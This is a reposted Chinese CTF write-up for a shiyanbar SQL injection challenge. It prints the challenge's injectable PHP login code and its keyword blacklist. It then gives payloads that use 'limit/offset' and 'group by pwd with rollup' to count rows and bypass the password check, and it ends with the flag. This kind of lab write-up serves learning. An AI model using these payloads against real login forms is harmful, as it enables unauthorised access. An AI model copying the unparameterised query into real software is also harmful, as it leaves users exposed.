实验吧-因缺思厅的绕过writeup

转载

怀念_过去 于 2017-12-07 13:34:20 发布 562 收藏
分类专栏： CTF


CTF 专栏收录该内容
13 篇文章 0 订阅
订阅专栏

实验吧-因缺思汀的绕过WriteUp

题目地址：http://www.shiyanbar.com/ctf/1940

审计网页代码，发现有一个注释：<!--source: source.txt-->
访问同目录下的source.txt
发现登陆的逻辑代码，下面就可以针对它进行绕过。！

```php
<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
        echo '<form action="" method="post">'."<br/>";
        echo '<input name="uname" type="text"/>'."<br/>";
        echo '<input name="pwd" type="text"/>'."<br/>";
        echo '<input type="submit" />'."<br/>";
        echo '</form>'."<br/>";
        echo '<!--source: source.txt-->'."<br/>";
    die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){
    if (is_array($StrValue)){
        $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){
        print "水可载舟，亦可赛艇！";
        exit();
    }
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
    AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
        die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
    $key = mysql_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "亦可赛艇！";
    }
}else{
        print "一颗赛艇！";
}
mysql_close($con);
?>
```

绕过三层限制，print the flag

这里有三层限制

0X00

在第一层的filter里面就过滤了常用的SQL关键词，所以常规的SQL 注入就不行了。如果输入了filter里面的语句，网页返回“水可载舟，亦可赛艇！”

0X01

第二层是限制从数据库返回的数据必须是一行，在满足第一层条件的情况下可以使用 limit 的返回来确定数据库中总共有几行数据。
*注意它的查询语句是 select * from interest where uname = ‘{$_POST[‘uname’]}’于是构造：*

```
1' or 1 limit 1 offset 0#
```

1

```
1' or 1 limit 1 offset 1#
```

1

```
1' or 1 limit 1 offset 2#
```

1

发现2#时返回“一颗赛艇！”其他都是“亦可赛艇！”————说明数据库只有两条信息

0X02

接下来想办法绕过第三层，这里是个if判断，只要为true 就可以过，于是可以利用group by with rollup来绕过，group by with rollup会在统计后的产生一条null信息，然后在pwd里不写值，if就为true了。

```
payload：1' or 1 group by pwd with rollup limit 1 offset 2#
```

1
2

```
flag：CTF{with_rollup_interesting}
```

1